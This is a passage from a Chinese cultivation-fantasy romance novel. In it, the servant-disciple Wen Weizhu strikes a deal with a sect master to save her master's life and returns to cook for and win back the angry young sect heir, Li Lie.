“不知道移植的那些灵植,少宗主有没有记得浇水。”
脑海里不知为何跳出这个想法。
云萃峰院子里的幼苗在她的照顾下倒是活得精神奕奕。
真怕到时候,临时栽培的这些长势喜人,原先的灵植反倒是死枯一大片。
温微竹用手遮住双眼,抵挡刺目的阳光。
但是这些都已经与她无关了。
没有她,少宗主再花灵石雇一个弟子帮他管理就好。
她并不是什么不可替代的存在。
做饭也好,打理院子也罢。
随便找个人,都可以替代。
不知道是不是这几天都没有休息好,还是因为身体多次收到损伤,温微竹竟然躺在院子里,被酷热的太阳晒着,不知不觉睡着了。
灰乌鸦嘎嘎叫了一声,被突兀地扼断叫声都没有将她吵醒。
栗烈将半死的灰乌鸦丢在地上,望着满园的灵植幼苗,伫立的身形仿若一座骤然苏醒的活火山。
狰狞的怒意吞噬了他的五官,线条分明的下颚死死绷着,牙齿不堪重负发出咯咯声响。
“温微竹……”紧咬的牙缝间裹着毁灭理智的岩浆,栗烈的眼中爬满了细密的血丝,以往的温情记忆在脑海中寸寸碎裂。
他以为她一步步靠近他,是为他而来。
以为她用心做的每一顿美食,是为了他能满意。
以为她主动整理他的院子,是为了走入他的世界。
却原来只是为了另一个男人罢了。
规划他的庭院,不是为了帮他建造世界,而是为了得到他的灵植,来帮别的男人建造花园!
“你欺骗我!”
爆裂的灵力倾巢而出,扫荡着整个院落。
劲风席卷,却乖巧地避开了躺在院落中的温微竹。
栗烈红着双眼,眸中迸射出恨与涩。
最终,留下满院狼籍,甩袖离去。
温微竹又做了那个梦。
漫天的火光中,哀嚎遍野。
她站在大火之中一动不动,麻木地等待着大火的吞噬。
然后,一抹孤高的身影从天而降,她抬头看过去。
她知道,那是无息仙尊,
她也知道,无息仙尊会将她救离火海。
她同样知道,无息仙尊将她放下,便会转身离去。
这一切都再熟悉不过。
可是,这一次,当她抬头的时候,却看见了少宗主的脸。
温微竹愣了一下。
一直以来,她都是以第三者旁观视角做这个梦,就在抬头的那一霎那,她变成了第一视角。
她眼睁睁看着少宗主朝着她走过来。
无边的火焰不知何时褪去,温微竹也不知道自己在做什么,只是那么站着,一直等少宗主走至近前。
“温微竹……”
眼前的少宗主叫了她的名字。
温微竹的心中有些疑惑,她还从来没听见少宗主叫过她的名字。
甚至是“温师妹”三个字,她都只听见少宗主叫过一次,还不是直接叫的她,是跟于文峥说话的时候带的。
“你欺骗了我。”
“?”温微竹不明所以。
少宗主说完,就负气转身离去。
温微竹刚伸手,倾盆大雨朝着她兜头洒下,温微竹还没来得及抹脸,少宗主的背影就消失在了雨幕之中。
“嘎嘎……嘎嘎……”
灰乌鸦的叫声不停地在耳际聒噪,温微竹不堪其扰,身体也由内而外,蓦地腾升一股凉意。
温微竹不自觉蜷缩身子,蓦地惊醒。
豆大的雨滴打在她的身上,天光早已阴暗,温微竹打了个寒颤,她竟然在院子里睡着了!还不知不觉睡到了晚上!
灰乌鸦围在她头顶不停地嘎嘎叫,声音比往常更加喑哑难听。
温微竹甩了甩衣裳上的水,挥手跟灰乌鸦道:“好了,别叫了,我醒了。”
可一向听话的灰乌鸦却一反常态地没有停止叫唤,而是伸出翅膀指向无息仙尊的房间。
温微竹神色一凛,心中有不好的预感。
她猛地起身,不顾被雨水浇湿的衣裳,直奔无息仙尊的房间而去。
无息仙尊的脸上透着一层死灰,温微竹伸出手指搭在无息仙尊的脖颈处。
微弱的跳动已经几近停止。
无息仙尊要死了。
这一刻,这两天一直在脑海中吵架的两种想法,选择信栗宗主搏一搏的想法处了上风。
掏出袖中栗宗主留下的玉符,温微竹毫不犹豫将其掰碎。
温微竹湿淋淋地出现在了栗宗主的书房。
正在翻阅卷宗的栗宗主被这个时间
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点蓦然出现的温微竹惊愣了片刻。
“我答应你。”温微竹抹了把脸,“把无息仙尊的解药给我,他快死了。”
栗宗主慢条斯理将毛笔放下,踱至温微竹身前道:“我随你去看看情况。”
两人来到云萃峰,栗宗主行至无息仙尊的床前,捏着无息仙尊的下巴看了看情况。
从袖中掏出一颗药丸,栗威道:“再晚片刻,你想救他也晚了。”
温微竹站在一旁浑身发抖,雨水的凉意沁透皮肤,使得她整个人从内而外如坠冰水之中。
栗宗主一回头,见温微竹脸色苍白,身形瑟瑟,一副病入膏肓的模样,不禁忧心,这人靠不靠谱。
有生之年,他还能找到人,让栗烈回归阵法吗?
替温微竹掐了个烘干诀,栗宗主随手扔给温微竹一颗灵药,“你可别死在江无息之前,答应我的事还没做。”
无息仙尊脸上的死灰已经褪去些许,但依然能看出死期将近的模样。
栗宗主又从袖中掏出一个药囊,扔给温微竹,嘱咐道:“这里面有七天的药,头七天每天一粒,之后,每月一粒就行。”
温微竹捏了捏药囊,数了一下,里面只有七粒药,立刻领会了栗宗主的意思。
她道:“后面的药定期找你拿的意思是吗?”
栗宗主露出孺子可教也的欣慰表情,“正好你也要定期找我汇报你的工作进度。”
温微竹没有反驳,接受了这样的安排,“要找你拿药的时候,去哪里找你?”
栗宗主从袖中掏出一块玉符,递给温微竹:“捏碎它,就能来找我。”
温微竹一看,与刚才她掰碎的那块,一模一样。
她震惊地发现,栗氏父子某些方面惊人的相似。
比如,她袖中还未撕完的那沓一模一样的传送符。
接过玉符收好,温微竹询问无息仙尊的情况,“无息仙尊吃了药之后,能醒吗?”
“这得看你,能不能拿到药及时喂给他。”栗宗主信口回答,“你要是做得好,我说不定一高兴,就多给你点解药,他也能好得更快一点,是吧?”
温微竹连礼貌微笑都懒得维持。
老狐狸,看似好像保证了,其实什么都不保证。
不过如今当务之急,是先保住无息仙尊的命,至于以后的事,再慢慢规划。
“你让我做的事,再详细一点。是要少宗主全心全意只修阵法?还是只要他能修阵法,同时修其他的也行?”
“没想到你还是个务实的。”栗威颇感意外,对着温微竹满意地点点头。
“我要求不高,只要栗烈能再修阵法,其他的他愿意修我也不拦着。”
温微竹思索着做这件事的过程中可能会遇到的问题。
“有一个事,我需要找你确认一下。”温微竹踟蹰一番。
栗宗主就喜欢这种做事有思考的,他十分大度道:“你说。”
“鉴于少宗主是你的儿子,若是在执行计划期间,对少宗主造成轻微伤害,你能否接受?”
“欺骗他感情的事?”
栗威听丁长老说了,这女人脚踏两条船,而且明显还心系江无息。
对栗烈肯定是没多少真心。
再加上现在听从他的命令,接近栗烈。
那真心就更是少之又少。
“?”温微竹想了想,道:“诸如此类吧。”
36. 重新接近少宗主
栗威认为感情这种东西在修仙界是微不足道的东西。
修行者追求大道长生,寿命一旦变长,感情就变得越发淡薄。
更何况温微竹只是杂灵根,再怎么修炼,寿命也不过百来岁。
就算栗烈爱上了她,也不过是几十年的光景,只要栗烈修为上涨,温微竹就只是他漫长时光里短暂的一瞬。
随着时间流逝,也就风过无痕。
这没什么可担心的。
“这些都没关系。”栗宗主大手一挥,“你骗身骗心我都不在乎,就算是哄得他要跟你结契,我都能祝你们百年好合。只要他能好好修炼。”
温微竹满头问号。
不知道栗宗主到底理解了些什么,得出的这个结论。
不过既然得到了栗宗主的确切回答,温微竹做事的时候,就不需要那么顾首顾尾。
栗宗主交代完事情,就离开了云萃峰。
临走之时,欲言又止地交代:“你以后找我尽量选择白天。”
温微竹:“……”
若不是事态紧急,她也不会选择夜幕降临的时间去找他呀。
送走了栗宗主,温微竹在屋内坐了一会,越坐越感觉身体发热,摸了摸额头,有些烫手。
温微竹难以置信地又摸了摸。
从小到大她几乎不生病,来到常阳宗偶尔修炼一下之后,身体更是比凡人时期好了很多,就更没生过病。
她现在是……发热了?
将栗宗主丢给她的灵药吞下去,温微竹起身。
她打算去烧点水沐浴一番。
之前被雨水淋湿的衣裳虽然被栗宗主的烘干诀烘干。
但可能是发热的原因,她还是浑身不太舒服。
推开门,外面淅淅沥沥下着雨。
温微竹回屋拿了一把伞,提着水桶走到门口,才借着微弱的灯光发现了院子里满地狼藉。
她的幼苗!
温微竹丢下水桶跑去院子里检查,发现院子简直像是龙卷风过境,所有的幼苗都夭折,嫩芽和嫩芽摧毁散落一地。
到底怎么回事?
她一直躺在院子里,这么大的风雨她怎么可能一点反应都没有。
难道是她去找栗宗主的那一会会云萃峰遭遇了强风雨?
拾起地上幼苗残骸,温微竹人生头一次,觉得自己运气有点背。
这个她要怎么跟少宗主交代?
本来之前闹掰了,她还要想办法重新接近少宗主。
现在好了,连特意移植的幼苗全都死了。
灵深峰还有好大一片地现在还空着呢!
温微竹一手持灯,一手持伞,冒着夜雨,一颗一颗幼苗检查,看能不能找到漏网之鱼,还能存活的。
有的苗趁着还新鲜,还能重新种一下,只要最近几天不晒太阳,就还有希望再种活。
温微竹修整了一晚上,才把满地灵植幼苗残骸整理完毕。
即便如此,最终也只清点出了十多棵还有救的希望。
将幼苗重新重好,温微竹才直起腰,揉了揉浑身酸痛的身体,望着从山头冒出来的日出,才发现,一夜已经过去。
想起什么,温微竹丢了雨伞,急忙跑回无息仙尊的房间。
伸手摸了一下无息仙尊的脉搏,确定无息仙尊暂时生命无忧,温微竹才轻轻松了口气。
昨夜,她本该守在无息仙尊身旁,观察无息仙尊的情况才对。
结果她在干什么?
她在拯救院子里的幼苗!
温微竹靠坐在床边,对自己生存的意义再次产生了怀疑。
七日之后,温微竹重新出现了灵深峰。
环顾四周,并没有在院子里看到人。
温微竹的目光率先被院子里的灵植吸引。
也就半个月没来,那些曾经欣欣向荣的灵植,此刻干的干、枯的枯、大部分半死不活,看起来马上就要死翘翘的样子。
温微竹的心中顿时五味杂陈。
吵归吵,闹归闹,灵植是无辜的。
她没来浇水,少宗主就完全不管吗?
温微竹提着水桶,去打水。
替小苗松了松土,浇上水。
浇到一棵钗石时,看到奄奄一息的钗石,温微竹头大。
钗石的分株幼苗全军覆没,这里也仅剩这一棵。
钗石需要在潮湿的环境才能生存,这院子估计是半个来月没有浇水,这钗石已经干得只剩个杆杆了。
之前这株钗石能活下来全靠它的旁边有一个小坑,每逢下雨能储点水,才苟活下来。
要是因为她翻新,把它挪了位置,结果反而把它干死了,她罪过就大了。
温微竹想来想去,这样不行。
她不能时时刻刻保证给它们浇水,又不能指望少宗主浇。
这些灵植放着迟早要死。
要是有一个完善的灌溉系统,就算到时候院子里没人,也能给它们浇水,这样就不怕它们会旱死了。
就在温微竹思考如何建设灌溉系统时,忽然察觉到有人声。
温微竹闻声望去,抬脚朝院子走来的少宗主与于文峥也看见了蹲在院子里的她。
“温师妹?”于文峥率先叫了起来,“你这段时间去哪了?都没看到你人影。”
温微竹拿着小铲子蹲在地上没有动,她瞟了少宗主一眼,戳着地上的泥土,道:“最近生了一场病,所以没有出门。”
栗烈皱眉,唇角紧紧绷着,站在远处没有动。
于文峥走到温微竹的身旁,关切问:“怎么回事?是上次受伤的问题吗?”
“不是,”温微竹摇摇头,“就是普通的头疼脑热。”
温微竹看向站在不远处,不但不打算过来,还打算转身离开的少宗主。
“少宗主。”温微竹急忙喊住他。
栗烈脸上没什么表情,只是冷冷看着她。
温微竹感觉少宗主对她的冷淡不像是普通的生气。
之前少宗主也生过气,但都是暗戳戳的,要认真感受才能感觉到他好像生气。
但这次,少宗主似乎是真的很生气,连理都不想理她了。
“找我什么事?”对走到近前的温微竹,栗烈用对陌生人一般冷硬的语气问。
“院子里的灵植没有浇水吗?”温微竹抬眸用无辜的眼神看着栗烈。
栗烈不耐烦道:“没浇水,然后呢。”
“院子里唯一的一株钗石,快死了,只剩杆了。”温微竹语气委屈,比之前更清瘦的脸庞看起来弱柳
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扶风,显得整个人楚楚可怜。
栗烈移开视线,无所谓道:“死了就死了。我这里死过的珍贵灵植又不是只有它。”
温微竹似受伤的敛了敛眉,低声道:“当初是我提出重新整理的院子,如果有灵植因为我的决定死掉了,我会过意不去。”
栗烈咬紧了牙。
他绝对不会因为温微竹跟他卖卖惨就心软原谅她!
“对不起。少宗主。”温微竹圆润的双眼扑闪扑闪,颀长的睫羽似乎被水汽洇湿。
“之前是我口不择言,你生我气,我理解。”温微竹低着头,温驯又虔诚,“你不想看见我,等我把院子里的灵植安排妥当,我就不再出现。”
栗烈紧抿着唇不说话。
温微竹头一直低着,他看到的大部分是温微竹的头顶,和笔挺的鼻梁,还有一闪一闪的睫羽。
温微竹还在絮絮叨叨说着自己的打算。
“我打算弄一套自动灌溉系统,这样哪怕无人照料,它们也不会因为干旱而死。”
栗烈盯着温微竹沾了水汽的睫毛上上下下,与蓦然抬头的温微竹四目相对。
栗烈眸光一闪,移开目光。
温微竹愣了一下,接着道:“如果少宗主不想看见我,我会趁着你不在灵深峰的时候来,中间有什么需要帮忙的,我到时候去找于师兄。”
说完,温微竹盯着栗烈一眨不眨问:“这样可以吗?少宗主。”
于文峥一直呆在旁边没有插话,是因为他感觉这两人之间肯定是发生了什么。
那天他被栗烈打发去主峰问温微竹在哪个山峰做事,结果王伯说他得查查才知道,要过几天才知道结果。
等他回来之后,发现灵深峰一片狼籍,栗烈在院子里大发雷霆。
去房间一看,温师妹早没了人影。
问栗烈发生了什么事,栗烈又一言不发。
他将他在王伯那问到的结果告诉栗烈,栗烈皱眉不信。
一个杂役弟子在哪里做事,这么简单的一件事,有什么好推辞到几天后的?
于文峥也觉得这其中有点蹊跷。
栗烈当时二话不说,自己去了主峰。
也不知道是什么情况,栗烈去了主峰之后就没再回来,直接去了禁闭室。
禁闭期也延长到今日。
他刚刚才接了栗烈从禁闭室出来。
这期间他想找温师妹,结果这段时间也没看见温师妹的身影。
如今两人见面这个模样,必定是和几日前栗烈在这院子里发脾气有关。
现在,温微竹忽然提到他,他瞅了一眼栗烈,发现栗烈似乎并没有软化的迹象。
以往栗烈在温师妹面前可容易变卦了。
今日这是怎么了?
栗烈冷嗤了一声,“怎么,你又缺灵石,所以想回我这里做事?”
“如果我说是,少宗主愿意收留我吗?”温微竹扬着脸问。
“为了赚灵石,脸都不要了,我怎么不知道你脸皮这么厚?”栗烈冷言相讥。
回想当时温微竹跟他说的话。
“当时你是怎么说的?你说我满意你就继续做,不满意你就不来了。今日怎么又不请自来?当时那么傲气,现在呢?难道是忽然发现灵石花完了?”
37. 少宗主嘴毒
于文峥在一旁越听越不对劲。
栗烈平时对别人冷言冷语,嘴不留情就算了。
这可是温师妹!
从遇见温师妹开始,他还没用这么刻薄的话说过温师妹。
温师妹连他声音大一点都要被吓到,这么难听的话听了,还不得伤心垂泪?
于文峥朝温微竹投去担忧的目光,结果发现温微竹似乎对这种语言攻击免疫,半点没有受伤的神色,反而很……从容?
“如果我说我缺灵石,少宗主愿意让我继续在这里做事吗?整理院子,做饭,都行。”温微竹虔诚道。
只要能让她留下来,其他的都无所谓。
栗烈凝视着温微竹,温微竹对上他的目光,没有半分躲闪。
就是这份坦然。
栗烈都要气翻天了。
明明是抱着别的目的接近他的,可她的神色,她的目光,却能做到那么坦然。
既不躲闪,也不心虚。
温微竹,你真是好样的。
装有谁比你能装?
之前都敢跟他翻脸,现在怎么又重新想回到他这里?
难道是因为他把院子里的幼苗灵植摧毁了?
她没了灵植,就又开始打他院子里灵植的主意?
怪不得张口闭口就是要整理院子!
想偷他的灵植才是真心!
栗烈在心里哼了一声。
嘴上继续说着难听的话。
“是不是在别的地方发现灵石也不是那么好赚,所以才厚着脸皮回来的?”
温微竹肯定地点点头。
少宗主这里确实是赚灵石最轻松的地方了。
当然,她通过肮脏手段获得的灵石除外。
栗烈噎了一下,看来温微竹为了偷他的灵植豁出去了,脸面和自尊完全不要了。
“你要回来继续也行。”栗烈高高在上道:“既然你也说了你是拿钱办事,那我也要告诉你,我的灵石也不是那么好赚的。”
“哦。”
“今日你就做一顿一荤一素一汤,还有凉饮。食材可以给你准备,其他的你自己做。”栗烈甩袖,又回头道:“火自己烧。”
说完转身就走,临走还喊上于文峥,“于文峥,走。”
于文峥站在原地,目光在两人之间游移。
栗烈不满又喊了一声。
于文峥才歉意地看了温微竹一眼,转身朝栗烈追过去。
温微竹转身回厨房做饭。
于文峥追上栗烈,不满道:“你干嘛?说话难听就算了,还让温师妹一个人做饭。”
“拿钱做事,她一个人做饭不是应当?”栗烈没好气地反问。
是这么个理没错。
可……
“你真让温师妹自己烧火?”
栗烈为于文峥一直站在温微竹那边不爽,刺道:“难道你去?”
“我去也行。”于文峥并不觉得为难,他之前也有这个打算。
“……”栗烈有种搬起石头砸自己脚的感觉,他瞪了于文峥一眼,喝道:“不许去!”
于文峥颇觉无语。
“你生气归生气,不能拿温师妹的生命冒险吧。灵深峰上哪里拾柴烧火?你让温师妹去后山吗?她炼气期的修为,你自己不是也知道,她去了就是去送死。”
栗烈眼睛快速眨了眨,他时不时会忘记温微竹杂灵根很多事情做不了。
“那是她的事。”栗烈嘴硬,“她得自己想办法解决,不能总指望别人帮她。”
栗烈这么说别人可以,说温师妹,于文峥就不同意了。
他反驳道:“温师妹要是那种指望别人的人,她之前就不会特意去上阵法课。只是她天赋在那,再努力也是没办法的事,你说是吧?”
“阵法课?”栗烈皱眉。
他想起最初的时候,温微竹为了靠近他,不止去上《灵物百科》还去上阵法课的事情,心情顿时更不爽。
栗烈能理解温微竹为了往上爬或是找个靠山蓄意靠近他。
但……
为了别的男人接近他就是不行!
在他以为她做这一切都是真心实意想讨他欢心的时候。
她却都是为了无息仙尊!
给他做好吃的,是为了赚他的灵石!
为他整理院子,是为了偷他的灵植!
栗烈越想越气。
刚才他就不应该再给她机会!
“她上阵法课就是为了接近我!你不用给她戴高帽,你根本就不了解她!今天的饭让她自己做,做不好,明天就不用来了。”
于文峥越来越搞不懂栗烈了。
“你误会温师妹了,她上阵法课是想自己学会阵法,能控火,这样就不用有求于你。你说的那都是什么时候到事了。温师妹帮你做饭之后,也有去上阵法课,还看了不少阵法书籍。”
于文峥是不知道栗烈到底在生温微竹什么气。
但他觉得温师妹除了沉默寡言,不太热情外,做事还是很靠谱的。
“她也就是欠缺天赋,她若是有你这样的天赋,蒋明祐都未必比得过她。”
栗烈冷笑,“呵。我看你被她洗脑了,她心机深沉,你还是长点脑子吧。”
于文峥望着栗烈愤然离去的身影,心情十分郁闷。
要不他就顺水推舟,断了两人姻缘吧。
他本也不看好两人。
于文峥这么想着,决定去厨房找温微竹谈一谈。
刚来到厨房门口,就听见里面菜刀切东西咚咚的声音,声音密切又整齐,于文峥每见一次都要感叹一次温师妹的刀工。
推开门,一股热气扑面而来,灶台上热气蒸腾,锅里的水咕嘟咕嘟冒泡。
于文峥惊异望去,灶内冒着火苗,他正惊奇温微竹哪里来的柴,放目望去,却根本没有半根柴的影子。
“温师妹,你怎么生的火?”于文峥走过去,讶然问。
温微竹听见声响,将切好的冬瓜放入盆里水洗,朝于文峥方向看了一眼。
她的目光不动声色瞅了一眼于文峥的身后,没有看到人影,便收回目光,手里动作不停,对于文峥道:“我之前找到了一些简单的,靠灵石驱动的阵法。操作比较复杂,但起码我能用。”
于文峥又一次在内心感叹,温微竹真是个既努力又很花费时间钻研的人。
这个品质若是换在少宗主身上,宗门还有蒋明祐什么事。
于文峥过来本想借着帮温微竹控火,来找温微
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竹聊聊天。
这下好了,他待在厨房显得有点多余。
忽然觉得温微竹自己一个人就能过得很好,是怎么回事?
虽然大部分人自己一个人也能过好,但温微竹给人一种完全只想自己独过的感觉。
一般人都是嘴上说着不需要别人帮忙,或许也能自己逞强不要别人帮助,但心里却会有期待,一旦别人真的不帮,心灵就会受伤,会失望之类的。
但这些人之常情在温微竹身上完全感觉不到。
她给人的感觉就是从内心里没有期待别人的帮助,甚至在有人帮助的前提下,还想着自己做。
今日少宗主让她自己烧火,于文峥现在都怀疑,说不定温微竹早就跃跃欲试,想用自己找到的方法试试。
这样的人,不需要另一半。
真的不需要。
于文峥更加坚定了自己的想法。
他在厨房闲逛了两圈,琢磨着话头,问:“温师妹,有什么需要我帮忙的吗?”
温微竹将洗好的冬瓜放入烧开的糖水之中,道:“我这边没什么需要帮忙的,于师兄不去陪少宗主吗?”
“嗐,他一身臭脾气,也不知道吃了炮仗还是怎么。”
于文峥不想被打发走,他还想跟温师妹好好谈谈少宗主的事情呢。
怕温微竹沉默赶人,于文峥又挑起话头:“温师妹,你受伤那天,是跟少宗主吵架了吗?”
于文峥心里早有计较,肯定是少宗主乱发脾气,哪怕温微竹这么好的脾气,也受不了他,所以这么多天都没现身。
温微竹却沉默着搅着锅,没有回答于文峥的问题,而是瞟了他一眼,淡然道:“于师兄,宗主让我找你拿一本阵法秘籍。”
“宗、宗主?!”于文峥吓得大叫一声,随后赶紧捂着嘴,凑到温微竹身旁,“怎么回事?宗主派你来的?”
温微竹点点头,“跟你任务一样。”
于文峥瞪着眼睛看了温微竹好一会,颓丧道:“看来宗主是彻底对我失望了。”
“怎么会?宗主让我来协助你的。”顿了一下,温微竹才反问:“宗主没跟你说吗?”
“没啊。我最近这段时间没去找宗主汇报,主要是我都不怎么敢去见宗主,少宗主认定的事情,十头牛也拉不回来,我一点进展也没有。”
于文峥愁眉不展。
“我说,我去找王伯问你在哪个峰做事,王伯不告诉我呢。原来你是宗主找来的。”
于文峥知道答案再去回想,一切就合理了。
不然温微竹一个外门厨子好端端的怎么会进内门?
这明显是宗主知道少宗主欣赏温微竹的厨艺,所以把温微竹弄来了少宗主的身边!
宗主这一招真是高!
他最开始都完全没有想到这一点!
“你去问我的事?”温微竹意识到一个问题,“你什么时候去问的?”
“就是你受伤那天,少宗主让我去问的。幸好我没问出……不对,少宗主好像自己去问了……”
一联想今天少宗主对温微竹的态度。
这……不是妥妥的,少宗主已经知道温微竹是宗主派来的了吗!
于文峥一脸事情不妙的模样望着温微竹。
38. 美人计
温微竹将冬瓜捞出,放入冰水之中。
青翠的冬瓜在冰水中咕咚冒泡,温微竹一边搅动一边思考。
如果少宗主去问过她的情况,那么大概率是已经知道她在云萃峰做事的事情。
云萃峰的幼苗不会是少宗主毁的吧?
当时她觉得很奇怪,可想到废剑的结界,一般人应该进不了云萃峰,她才按下了当时的疑惑。
但如果换做是少宗主。
那他从王管事那里拿到通行牌,悄无声息进入了云萃峰,就说得通了。
若真是这样,他为什么要把她辛辛苦苦培育的幼苗都毁掉?
将凉透的冬瓜捞出,放入杵臼里,杵砸在杵臼里的闷响传来,于文峥有点被惊到。
温微竹做事情一直都是轻拿轻放,发出这么大声响还是第一次。
虽然碾东西的确会发出声音,于文峥还是在听出了点不一样的味道。
“于师兄,”温微竹放下手中的杵,“不忙的话,帮我把这个捣碎好吗?”
于文峥接过,他现在上手越来越丝滑。
说不定哪一天,他也能成为厨房好手。
温微竹神色不善,却依旧沉默着在一旁准备厨具。
于文峥忙着手里的活,还是忍不住问:“少宗主会不会已经知道你是宗主派来的了?”
温微竹摇头,“不会,我现在是挂在云萃峰的闲职,少宗主问不出什么来。”
于文峥松了口气,哦哦了两声,想到宗主早已安排妥当,顿时放心不少。
他不免疑问:“你之前怎么没跟我通个气?”
温微竹只是瞟了于文峥一眼,并没有说话。
于文峥见她不愿意说,也就不再追问。
可能是有什么顾虑或者自己的计划吧。
将捣好的冬瓜递给温微竹,于文峥又疑问道:“那少宗主为什么忽然这么生你的气?”
温微竹将捣碎的冬瓜汁滤水,思考了一番,道:“可能是对我之前想辞工不满。”
“你想辞工?”于文峥惊讶出声,“好端端为什么要辞工?宗主交代的事情不是还没完成?”
“就是忽然不想做了。”温微竹淡然回答。
“也是,”于文峥感慨,“少宗主有时候难搞得很,我也经常有想撂摊子的时候。”
于文峥看了温微竹一眼,但没说。
他竟然有点佩服温微竹,没有半点倚靠,竟然想不干就不干。
他就做不到!
“那你怎么又回来了?宗主逼你了?”于文峥又问。
温微竹依旧做手里的事,沉默不言。
于文峥也不生气,自己的难处一般都不爱跟别人说。
温微竹不回答也能理解。
“宗主找你真是找对了,少宗主喜欢你,等你们感情再深厚一点,他一定会愿意听你的,重修阵法!”
于文峥正对未来充满了希望,温微竹侧头看向他,脸上带着不解的神色,“喜欢?”
“对啊。你没觉得少宗主对你特别不一样吗?”
温微竹洗朱栾的动作减慢,茫然地盯着于文峥。
于文峥意识到自己可能说错话了,闭嘴咬了咬唇,尬笑了一下,“要不,你考虑一下用美人计?毕竟你是唯一一个能靠近少宗主的女弟子。”
温微竹眨了眨眼,收回目光,低头将朱栾切片,“美人计还是让美人去使吧。”
于文峥哈哈两声,结束了这个话题。
好险。
一想到温微竹与他目的一致,他就自然而然与温微竹站在了同一立场。
这些日子以来,他能感觉少宗主与温微竹两人,属于落花有意,流水无情。
也就是说,之前温微竹哪怕是抱着宗主的任务接近的少宗主,但起码没有想欺骗少宗主的感情。
这要是因为他的一句无言之失,导致少宗主感情被骗,回头东窗事发,他就是罪魁祸首!
将翠绿的的冬瓜饮交给于文峥,温微竹微笑道:“于师兄,这个你们先拿去喝,饭很快我就做好。”
临走时,温微竹提醒于文峥阵法秘籍,于文峥才想起来,掏了一本给她。
送走于文峥,温微竹站在灶台旁出了一会神。
于文峥说少宗主喜欢她。
说完就后悔了。
急忙找美人计找补。
温微竹顺着于文峥的话说,不过是不想于文峥为难。
但……
少宗主喜欢她?
什么时候的事?
温微竹回顾了一下两人的相处,两人相交一直很正常,说话也很少。
所以……
喜欢她???
于文峥拿着冬瓜饮来到前院,寻了半天,没看见少宗主人影。
“少宗主?少宗主?”于文峥将院子找遍了也没看见人,正想去后山看看,迎面碰上从后山回来的少宗主。
“你去后山干什么?”于文峥打量着少宗主不怎么干净的衣裳,疑问:“去后山找灵兽练手去了?”
栗烈撇了他一眼,不动声色给自己掐了个净尘诀。
来到前院,看见摆在桌子上的青翠欲滴的冷饮,问:“这是什么?”
“冬瓜饮,温师妹刚刚做的。”于文峥紧跟着栗烈来到桌边。
“冬瓜饮?生冬瓜啊?”栗烈半信半疑倒了一杯喝了,清清凉凉,清香爽口,很是解暑,正好解他刚运动后的体热。
“怎么可能是生冬瓜,熟的!”于文峥倒了一杯,慢慢品了一口,“这清香的味道,怎么可能是生的。”
栗烈愣住,杯中的凉饮瞬间味道都不香了,怒视着于文峥,“你给她烧的火?”
于文峥从美味中抬头,无辜道:“没有啊,温师妹自己烧的火。”
“没有柴,她怎么烧的火?”栗烈质问。
“用阵法啊。”于文峥又喝了一口,“我跟你说,温师妹可厉害了,她自身掌控不了灵力,但找了低阶的能用灵石驱动的生火阵法。”
陶瓷的杯底砰地打在石桌上,栗烈怒瞪于文峥,于文峥往后一跳,道:“干什么呀?”
“太甜了,不好喝,让她重做。”栗烈说完,转身又朝后山走去。
于文峥只觉栗烈这人莫名其妙。
他又倒了一杯,细细品尝,香甜可口,清爽宜人,到底哪里不好喝了!
栗烈这纯粹是鸡蛋里挑骨头,故意跟温微竹过不去!
温微竹正在厨房认真分割牛肉,听见门响,回头一看,于文峥愤愤拿着刚拿走的壶又回来了。
“嗯?怎么了?”温微竹回头问。
于文峥将壶
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递给温微竹,“少宗主说太甜了。”
温微竹蹙眉,拿起一个小杯倒了一点尝尝。
香浓清甜的味道淌过味蕾,还有一丝丝柑橘的清香与酸甜,知道少宗主略微喜欢酸口,她还特意偏酸一点点,少加了蜂蜜。
温微竹望着于文峥,那表情明明白白写着,这味道没问题啊。
于文峥笑了,道:“我也觉得没问题,好喝得很,他非要找茬。”
温微竹手撑着案台,盯着眼前的冬瓜饮沉思。
于文峥在一旁出主意,“要不你给他加点水兑淡一点得了。”
温微竹拧眉,摇摇头,“那样会破坏它原本的味道。”
于文峥又想到一个损招,“那要不我就这么端回去,骗少宗主说你已经调过了,反正他就是故意找茬,估计也尝不出问题来。”
温微竹神色难言,抬眸看向于文峥,忍不住吐槽:“你还挺会敷衍。”
“呃……”于文峥尴尬挠头。
温微竹洗了几个朱栾切成片放碟子里,递给于文峥道:“于师兄,你把这个带过去,让少宗主自己看着加。”
“妙啊!”于文峥连连赞叹,“温师妹聪明,我这就去。”
于文峥再次来到前院,发现少宗主阴着脸从后山回来,还一身粉屑,忍不住问:“你到底去后山干什么?把后山夷为平地了吗?”
栗烈拨回于文峥试图往后山看的头,将他推了回去。
于文峥无语,将温微竹给他的碟子往栗烈坐下的位置推了推,“温师妹给你的,让你自己看着加。”
栗烈盯着那碟子青翠的朱栾,眼神似乎都要冒出火来将那碟子烤焦。
于文峥在一旁感慨,陷入情爱的男人太可怕了。
要不,他劝一下温师妹,让温师妹考虑一下用用美人计。
也算是另一种意义上的两全其美。
栗烈盯了半天那碟子,随后将碟子里有所有的朱栾都加入了壶里。
“别……”
于文峥还未来得及阻止,所有朱栾都已经加入了壶中。
于文峥趁着刚倒进去,赶紧先倒了一杯放自己杯子里。
“你不想喝就别喝,暴殄天物。”于文峥不满嘟囔。
“你再嚷嚷个没完,就滚。”
加完之后,栗烈自己倒了一杯喝。
于文峥静静盯着,见栗烈眉头抽了抽,还面不改色,不由偷笑。
“这是你自己干的,你可别找温师妹的麻烦啊。”
本想继续找茬的栗烈拿着壶的手又将壶放了回去。
温微竹对这些事一概不知,只是等她做好了饭,将菜端过来之时,看见空了的碟子有一瞬间的疑惑,待看见所有朱栾都在壶里,眉目微沉。
直到栗烈又开始挑菜,说牛肉老了,蔬菜味道淡了。
温微竹静静盯着少宗主。
于文峥说少宗主喜欢她的事情,实在有待商榷。
这挑七捡八的样,怎么看都不像是对她有情,倒像是对她有仇。
于文峥在一旁替温微竹据理力争,坚称味道很好。
温微竹淡笑着解下头巾,站在一旁道:“既然少宗主不满意,以后做饭的事我就不做了。只恳请少宗主让我把院子里的事整理完,整理完之后,我就不会再出现在少宗主面前。”
39. 决裂
“你说什么?”栗烈拽紧了手中的筷子,“灵深峰是你想来就来,不想就不来的地方吗?”
温微竹脸上的笑意维持不住,若是换作别人,她此刻已经转身走人。
于文峥见形势不对,忙从中调停。
“唉,别这样,别这样。”
温微竹敛眉,小声道:“少宗主,从今往后,我不会再出现在你的面前,至于院子里的事情,秉着负责任的态度,我会单独跟于师兄商量。”
顿了一下,温微竹抬眸,“如果少宗主实在不想我参与其中,那我会将我的想法用书面的形式告诉于师兄,到时候让于师兄交给你。采不采用都看你们,后期我就不会再干涉了。”
